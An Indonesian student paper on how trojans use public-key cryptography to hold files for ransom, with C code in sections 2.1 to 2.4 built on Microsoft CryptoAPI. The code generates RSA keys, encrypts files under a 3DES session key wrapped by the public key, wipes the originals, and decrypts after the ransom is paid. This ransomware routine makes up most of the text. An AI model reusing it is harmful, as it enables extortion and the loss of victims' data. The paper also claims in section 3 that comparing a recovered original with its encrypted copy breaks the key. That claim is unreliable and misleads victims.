ALGORITMA KRIPTOGRAFI KUNCI PUBLIK PADA TROJAN KOMPUTER

Kenny Enrich – NIM 13506111
Program Studi Teknik Informatika, Institut Teknologi Bandung
Jl. Ganesha 10, Bandung
E-mail : if16111@students.if.itb.ac.id

Abstrak

Makalah ini membahas tentang penerapan teknik kriptografi kunci publik pada trojan komputer. Teknik kriptografi kunci publik dipakai oleh trojan untuk mengenkripsi dan mendekripsi file-file yang ada di komputer korban. Jika file sudah dienkripsi, maka file-file tersebut tidak akan dapat dibuka oleh korban. Untuk membukanya kembali, tentu saja file-file tersebut harus didekripsi terlebih dahulu.

Dalam makalah ini akan diuraikan tentang bagaimana penerapan teknik kriptografi yang digunakan oleh trojan komputer. Mulai dari bagaimana trojan tersebut menginfeksi komputer korban, mencari file-file tertentu pada komputer korban, melakukan enkripsi pada file-file tersebut, dan kemudian menghapus file-file asli pada komputer korban.

Selain mengkaji tentang hal di atas, makalah ini juga akan mengkaji tentang bagaimana cara untuk mengembalikan file yang telah dienkripsi sehingga file tersebut apat digunakan kembali.

Kata kunci: trojan komputer, kriptografi, kunci publik, enkripsi, dekripsi, *criptovirology*.

1. Pendahuluan

Dalam sejarah Yunani, Trojan Horse dikenal sebagai sebuah kuda kayu dengan ukuran yang sangat besar yang dihadiahkan kepada musuh bangsa Yunani saat itu (dalam masa perang). Karena merasa sangat dihormati sekaligus menganggap hadiah ini sebagai simbol menyerahnya kerajaan Yunani, sang musuh pun menerimanya dengan penuh suka cita dan kebanggaan. Tapi yang terjadi kemudian ternyata jauh di luar dugaan mereka. Di dalam kuda kayu raksasa tersebut ternyata berisi pasukan tempur Yunani dengan segala senjatanya yang siap menghancurkan mereka dari dalam. Pasukan-pasukan tersebut keluar dari kuda kayu pada malam hari, ketika semua sedang terlelap. Dengan serangan kilat dan mendadak tersebut, akhirnya pasukan Yunani berhasil menguasai sepenuhnya wilayah kekuasaan musuh.

Dari sejarah Yunani inilah muncul istilah Trojan Horse dalam dunia komputer. Trojan Horse dalam dunia komputer hampir sama seperti Trojan Horse dalam sejarah Yunani, hanya saja berbeda sasaran dan objeknya. Dalam dunia komputer, Trojan Horse dideskripsikan sebagai program yang terlihat tidak berbahaya tetapi sebenarnya program tersebut mengandung program yang berbahaya bagi pengguna komputer.

Ada banya sekali model atau jenis Trojan, di antaranya adalah:

- Keylogger
  Mampu merekam setiap ketukan keyboard, sehingga akan sangat berbahaya bila kita sedang mengetik nomor kartu kredit, password, dan hal-hal pribadi lainnya.
- Remote Access
  Mampu mengakses dan mengontrol komputer korban secara langsung.
- Perusak
  Layaknya virus komputer pada umumnya, Trojan jenis ini akan merusak file-file di komputer korban.
- Pencuri dan pengirim password

Mampu mencari, mencuri, dan mengirimkan data-data pribadi korban (termasuk password) ke sang pembuat Trojan.

Trojan yang akan dibahas pada makalah ini adalah Trojan perusak yang seakan-akan merusak file-file di komputer korban sehingga file-file tersebut tidak dapat digunakan kembali. Dikatakan seakan-akan karena sebenarnya file-file tersebut tidak dirusak, melainkan dienkripsi dengan menggunakan algoritma kunci publik.

Salah satu Trojan jenis ini yang cukup terkenal adalah Trojan PGPCoder atau GPCode. Trojan ini akan mengenkripsi file-file jenis tertentu pada komputer korban dan akan menuliskan pesan kepada korban yang berisi instruksi apa yang harus dilakukan korban. Biasanya pesan ini berisi perintah untuk mengirimkan sejumlah uang ke rekening sang pembuat Trojan dengan balasan sang pembuat Trojan akan mengirimkan program atau kunci untuk mendekripsi file-file yang telah dienkripsi sehingga file-file tersebut dapat digunakan kembali.

2. Cara Kerja Program

Program yang dibahas di sini adalah desain sederhana suatu Trojan yang akan mengenkripsi file yang ada di komputer korban. Program ini akan membangkitkan pasangan kunci publik dan kunci privat, mengenkripsi secara asimetri *session key*, mengenkripsi file komputer korban, mendekripsi *session key*, dan mendekripsi file komputer korban.

2.1 Pembangkitan Pasangan Kunci Privat dan Kunci Publik

Pembangkitan pasangan kunci publik dan kunci privat menggunakan fungsi bawaan API yang disediakan oleh sistem operasi Microsoft Windows yang disebut *Microsoft's Crytographic API* (MS CAPI). MS CAPI ini akan membangkitkan pasangan kunci RSA 1024-bit. Sebelum pasangan kunci ini dibangkitkan, user memasukkan suatu string password. String password yang dimasukkan ini akan dijadikan suatu kunci simetri dengan algoritma 3DES yang akan digunakan untuk mengenkripsi kunci privat hasil MS CAPI. Hasil enkripsi kunci privat kemudian akan disimpan dalam suatu file dengan nama privkeyblob.txt. Kunci publik yang dihasilkan juga akan disimpan dalam suatu file dengan nama pubkeyblob.txt.

```
printf("Attempting to create an exchange
key pair.\n");
BOOL                errval                =
CryptGenKey(hCryptProv,AT_KEYEXCHANGE,
      CRYPT_EXPORTABLE,&hKeyPair);
if (errval)
   printf("An   exchange   key   pair   was
created.\n");
errval                                    =
CryptExportKey(hKeyPair,0,PUBLICKEYBLOB,0,
      NULL,&pdwDataLen);
if (errval)
   printf("Obtained   public   key   blob
length.\n");
errval                                    =
CryptExportKey(hKeyPair,0,PUBLICKEYBLOB,0,
      pbData,&pdwDataLen);
if (errval)
   printf("The      public      key      was
exported.\n");
BlobToHexStr(pbData,pdwDataLen,pubKeyBlobS
tr);
free(pbData);
ComputeUserPassword(hCryptProv,(char    *)
passwordStr,&hUserSymmetricKey);
errval                                    =
CryptExportKey(hKeyPair,hUserSymmetricKey,
PRIVATEKEYBLOB,0,NULL,&pbPrivKeyBlobLen);
pbPrivKeyBlob       =       (BYTE       *)
malloc(pbPrivKeyBlobLen);
errval                                    =
CryptExportKey(hKeyPair,hUserSymmetricKey,
PRIVATEKEYBLOB,0,pbPrivKeyBlob,&pbPrivKeyB
lobLen);
printf("\nPrivate        key        export
succeeded.\n");
BlobToHexStr(pbPrivKeyBlob,pbPrivKeyBlobLe
n,privKeyBlobStr);
free(pbPrivKeyBlob);
if
(CryptAcquireContext(&hCryptProv,gContaine
rNameStr,
MS_ENHANCED_PROV,PROV_RSA_FULL,CRYPT_DELET
EKEYSET))
   printf("Successfully            deleted
container:\n\t%s\n",
        gContainerNameStr);
}
```

Potongan kode di atas akan memanggil fungsi CryptGenKey yang merupakan bawaan dari MS CAPI yang akan membangkitkan pasangan kunci publik dan privat RSA. Fungsi lainnya yang dipanggil adalah ComputerUserPassword yang akan mengubah password yang dimasukkan user menjadi kunci simetri.

2.2 Pengenkripsian File Komputer Korban

Program akan membangkitkan secara random kunci 168-bit dengan algoritma 3DES. Kunci ini kemudian akan dienkripsi dengan kunci publik

yang sebelumnya telah dibuat sehingga akan menghasilkan kriptografi asimetri. Program kemudian akan mengenkripsi file-file komputer korban dengan menggunakan kunci 3DES dan menuliskan hasil enkripsi pada file lain. Setelah ini file asli komputer korban akan dihapus dan kunci asimetri akan disimpan dalam file sessionkeyblob.txt. Tetapi dalam program ini, file asli korban tidak akan dihapus.

Selain itu, Trojan yang sebenarnya juga akan membuat file lain yang memberitahu korban bahwa filenya telah dienkripsi dan agar korban mengirimkan uang pada penyerang sekaligus mengirimkan file sessionkeyblob.txt.

```
if
(!CryptAcquireContext(&hCryptProv,containe
rStr,
MS_ENHANCED_PROV,PROV_RSA_FULL,CRYPT_NEWKE
YSET))
   return -1;
pdwDataLen = strlen(pubKeyBlobStr) >> 1;
for (;;)
   {
   if ((pbData = (BYTE *)
malloc(pdwDataLen)) == NULL)
      {returnvalue = -2; break;}
   HexStrToBlob((char *)
pubKeyBlobStr,pdwDataLen,pbData);
   if (!CryptImportKey(hCryptProv,pbData,
         pdwDataLen,0,0,&hPublicKey))
      {returnvalue = -3; break;}
   if (!CryptGenKey(hCryptProv,CALG_3DES,
         SYM_KEY_SIZE |
CRYPT_EXPORTABLE,&hSessKey))
      {returnvalue = -4; break;}
   if
(!CryptExportKey(hSessKey,hPublicKey,
  SIMPLEBLOB,0,NULL,&dwSessKeyBlobLen))
      {returnvalue = -5; break;}
   pSessionKeyBlob = (BYTE *)
malloc(dwSessKeyBlobLen);
   if (pSessionKeyBlob == NULL)
      {returnvalue = -6; break;}
   if
(!CryptExportKey(hSessKey,hPublicKey,SIMPL
EBLOB,
CRYPT_OAEP,pSessionKeyBlob,&dwSessKeyBlobL
en))
      {returnvalue = -7; break;}
   thestrlen = (dwSessKeyBlobLen << 1) +
1;
   sessionKeyBlobStr = (char *)
malloc(thestrlen);
   if (sessionKeyBlobStr == NULL)
      {returnvalue = -8; break;}
   BlobToHexStr(pSessionKeyBlob,
dwSessKeyBlobLen,sessionKeyBlobStr);
   if
(!CryptGenRandom(hCryptProv,8,pbRandData))
      {returnvalue = -9; break;}
   if
(!CryptSetKeyParam(hSessKey,KP_IV,pbRandDa
ta,0))
      {returnvalue = -10; break;}
   dwBlockLen = 1000 - 1000 %
ENCRYPT_BLOCK_SIZE;
   /* since ENCRYPT_BLOCK_SIZE > 1 ... */
   dwBuffLen = dwBlockLen +
ENCRYPT_BLOCK_SIZE;
   if ((pbBuff = (BYTE *)
malloc(dwBuffLen)) == NULL)
      {returnvalue = -11; break;}
   if ((hSource = fopen(srcFileName,"rb"))
== NULL)
      {returnvalue = -12; break;}
   if ((hDest = fopen(dstFileName,"wb"))
== NULL)
      {returnvalue = -13; break;}
   fwrite(pbRandData,1,8,hDest);
   do {
      dwCnt =
fread(pbBuff,1,dwBlockLen,hSource);
      if (ferror(hSource))
         {returnvalue = -14; break;}
      if
(!CryptEncrypt(hSessKey,0,feof(hSource),
            0,pbBuff,&dwCnt,dwBuffLen))
         {returnvalue = -15; break;}
      fwrite(pbBuff,1,dwCnt,hDest);
      if (ferror(hDest))
         {returnvalue = -16; break;}
      } while(!feof(hSource));
   break;
   }
if (pbData) free(pbData);
if (pSessionKeyBlob)
free(pSessionKeyBlob);
if (pbBuff) free(pbBuff);
if (hSource) fclose(hSource);
if (hDest) fclose(hDest);
if (!returnvalue)
WipePlaintextFile(srcFileName);
if (!CryptDestroyKey(hSessKey))
returnvalue = -17;
if (!CryptDestroyKey(hPublicKey))
returnvalue = -18;
if
(!CryptAcquireContext(&hCryptProv,containe
rStr,
MS_ENHANCED_PROV,PROV_RSA_FULL,CRYPT_DELET
EKEYSET))
   returnvalue = -19;
retval =
WriteBlobStrToFile(sessionKeyBlobStr,SYMKE
```

```
Y_CTXT_FILE);
if (returnvalue == 0) returnvalue =
retval;
if (sessionKeyBlobStr)
free(sessionKeyBlobStr);
return returnvalue;
}
```

2.3 Pendekripsian Kunci Simetri

Jika korban telah mengirimkan uangnya kepada penyerang, maka file sessionkeyblob.txt yang ada akan didekripsi. Program akan membaca kunci privat penyerang yang ada pada file privkeyblob.txt dan meminta penyerang memasukkan password yang sebelumnya telah dimasukkan untuk mendekripsi kunci privat. Setelah kunci privat didapatkan, kunci tersebut akan digunakan untuk mendekripsi kunci yang ada pada file sessionkeyblob.txt. Hasil dekripsi ini berupa kunci simetri yang akan disimpan pada file cleartextsessionkeyblob.txt. File inilah yang kemudian akan dikirimkan kepada korban beserta program untuk mendekripsi file-file yang telah terenkripsi.

```
printf("Preparing to decrypt the session
key blob.\n");
ComputeUserPassword(hCryptProv,(char *)
passwordStr,
      &hUserSymmetricKey);
printf("The user's password has been
constructed.\n");
HexStrToBlob((char *)
privKeyBlobStr,pbPrivKeyBlobLen,
      pbPrivKeyBlob);
dwSessionKeyBlobLen =
strlen(sessionKeyBlobStr)/2;
printf("dwSessionKeyBlobLen = %d.\n",(int)
dwSessionKeyBlobLen);
pSessionKeyBlob = (BYTE *)
malloc(dwSessionKeyBlobLen);
HexStrToBlob((char *) sessionKeyBlobStr,
dwSessionKeyBlobLen,pSessionKeyBlob);
BOOL errval =
CryptImportKey(hCryptProv,pbPrivKeyBlob,
pbPrivKeyBlobLen,hUserSymmetricKey,0,&hKey
Pair);
printf("Succeeded in importing key pair
from blob.\n");
free(pbPrivKeyBlob);
printf("Decrypting session key blob by
importing it.\n");
HexStrToBlob((char *) sessionKeyBlobStr,
dwSessionKeyBlobLen,pSessionKeyBlob);
errval =
CryptImportKey(hCryptProv,pSessionKeyBlob,
      dwSessionKeyBlobLen,
      hKeyPair,CRYPT_EXPORTABLE |
CRYPT_OAEP,&hSessionKey);
if (errval)
   printf("Session key imported using
CryptImportKey.\n");
free(pSessionKeyBlob);
ComputeUserPassword(hCryptProv,"ConstantPa
ssword",
      &hConstantSymmetricKey);
errval =
CryptExportKey(hSessionKey,hConstantSymmet
ricKey,
SYMMETRICWRAPKEYBLOB,0,NULL,&dwCleartextBl
obLen);
if (errval)
   printf("Obtained constant key blob
length.\n");
pbCleartextBlob = (BYTE *)
malloc(dwCleartextBlobLen);
if (pbCleartextBlob == NULL)
   TerminateWithError("malloc()
failed.\n");
errval =
CryptExportKey(hSessionKey,hConstantSymmet
ricKey,
SYMMETRICWRAPKEYBLOB,0,pbCleartextBlob,
      &dwCleartextBlobLen);
if (errval)
   printf("Session key exported basically
in the clear\n");
BlobToHexStr(pbCleartextBlob,dwCleartextBl
obLen,
      clearTextSessionKeyBlobStr);
free(pbCleartextBlob);
printf("clearTextSessionKeyBlobStr =
\n%s\n",
      clearTextSessionKeyBlobStr);
}
```

2.4 Pendekripsian File Komputer Korban

Program akan membaca kunci simetri yang ada pada file cleartextsessionkeyblob.txt dan akan mendekripsi *session key* menggunakan kunci simetri yang didapat. Kemudian file yang telah dienkripsi akan dibaca dan akan didekripsi menggunakan kunci 3DES, dan akan menghasilkan file asli korban.

```
printf("\nConverting the cleartext blob
into a ");
printf("symmetric key\ndata
structure.\n");
if
(CryptAcquireContext(&hCryptProv,gContaine
```

```
rNameStr,
MS_ENHANCED_PROV,PROV_RSA_FULL,CRYPT_NEWKE
YSET))
   {
   printf("Created a new key container
called:\n");
   printf("\t%s\n",gContainerNameStr);
   }
dwCleartextBlobLen =
strlen(clearTextSessionKeyBlobStr)/2;
pbCleartextBlob = (BYTE *)
malloc(dwCleartextBlobLen);
HexStrToBlob((char *)
clearTextSessionKeyBlobStr,
      dwCleartextBlobLen,pbCleartextBlob);
ComputeUserPassword(hCryptProv,"ConstantPa
ssword",
      &hConstantSymmetricKey);
BOOL errval = CryptImportKey(hCryptProv,
      pbCleartextBlob,dwCleartextBlobLen,
hConstantSymmetricKey,0,&hSessionKey);
if (errval)
   printf("Session key imported using
CryptImportKey.\n");
free(pbCleartextBlob);
printf("Now decrypting the file...\n");
fread(pbRandData,1,8,hSource);
printf("IV = ");
for (i=0;i<8;i++)
   printf("%2.2X",pbRandData[i]);
printf("\n");
printf("successfully set the IV.\n");
dwBlockLen = 1000 - 1000 %
ENCRYPT_BLOCK_SIZE;
dwBufferLen = dwBlockLen;
do {
   dwCount =
fread(pbBuffer,1,dwBlockLen,hSource);
   errval =
CryptDecrypt(hSessionKey,0,feof(hSource),
         0,pbBuffer,&dwCount);
fwrite(pbBuffer,1,dwCount,hDestination);
   } while (!feof(hSource));
printf("Decryption loop complete.\n");
if (pbBuffer)
   free(pbBuffer);
if (hSource)
   fclose(hSource);
if (hDestination)
   fclose(hDestination);
if
(CryptAcquireContext(&hCryptProv,gContaine
rNameStr,
MS_ENHANCED_PROV,PROV_RSA_FULL,CRYPT_DELET
EKEYSET))
   {
   printf("Successfully deleted
container:\n");
   printf("\t%s\n",gContainerNameStr);
   }
else
   TerminateWithError("Failed to delete
container.\n");
}
```

3. Mengembalikan File Korban

Ada beberapa cara untuk mengambalikan file-file yang telah dienkripsi, antara lain mencoba mendekripsi kunci, menuruti keinginan penyerang dengan membayarkan uang yang ia minta, dan mengembalikan file yang telah dihapus.

Untuk cara pertama, dibutuhkan waktu yang amat sangat lama untuk memecahkan kunci RSA 1024-bit bahkan dengan komputer yang paling canggih sekarang ini. Maka cara ini dapat dikatakan tidak efektif.

Cara kedua, dengan membayar sejumlah uang. Untuk sebagian orang mungkin hal ini dapat dilakukan. Namun untuk sebagian orang yang lain rasanya tidak mungkin membayar penyerang dikarenakan keadaan keuangan yang tidak memungkinkan.

Cara ketiga, dengan mengembalikan file yang telah dihapus. Seperti yang kita lihat, program ini atau Trojan yang ada akan membuat file baru hasil enkripsi file korban dan akan menghapus file yang lama. File yang sudah terhapus ini sebenarnya tidak begitu saja hilang dari komputer korban. File-file ini masih bisa diselamatkan dengan bantuan kakas-kakas yang ada dan dengan cara yang tepat. Dengan mendapatkan file asli, maka bisa dibandingkan antara file asli dan file hasil enkripsi sehingga kunci dapat dipecahkan.

4. Kesimpulan

Trojan jenis ini sangat berbahaya jika sampai menyerang komputer, apalagi jika file-file yang ada di komputer merupakan file-file yang sangat penting.

Ada beberapa cara untuk mengembalikan file yang telah dienkripsi Trojan. Namun cara yang paling memungkinkan adalah dengan mengembalikan file yang telah dihapus. Jika file yang asli telah didapatkan, maka file yang telah dienkripsi dapat dihapus atau dapat digunakan untuk mendapatkan kunci enkripsi yang digunakan.

Daftar Pustaka

[1] Munir, Rinaldi. 2006. Diktat Kuliah IF5054 Kriptografi, Departemen Teknik Informatika Institut Teknologi Bandung

[2] Trojan Horse, http://en.wikipedia.org/wiki/Trojan_horse_(computing)

[3] Cryptovirology, http://en.wikipedia.org/wiki/Cryptovirology

[4] Trj.PGPCoder.A, http://en.wikipedia.org/wiki/Trj.PGPCoder.A

[5] Malicious Cryptography, http://cryptovirology.com/

[6] Adi, Fauzi. 2008. Blackcode Computer Trojan, Neomedia Press.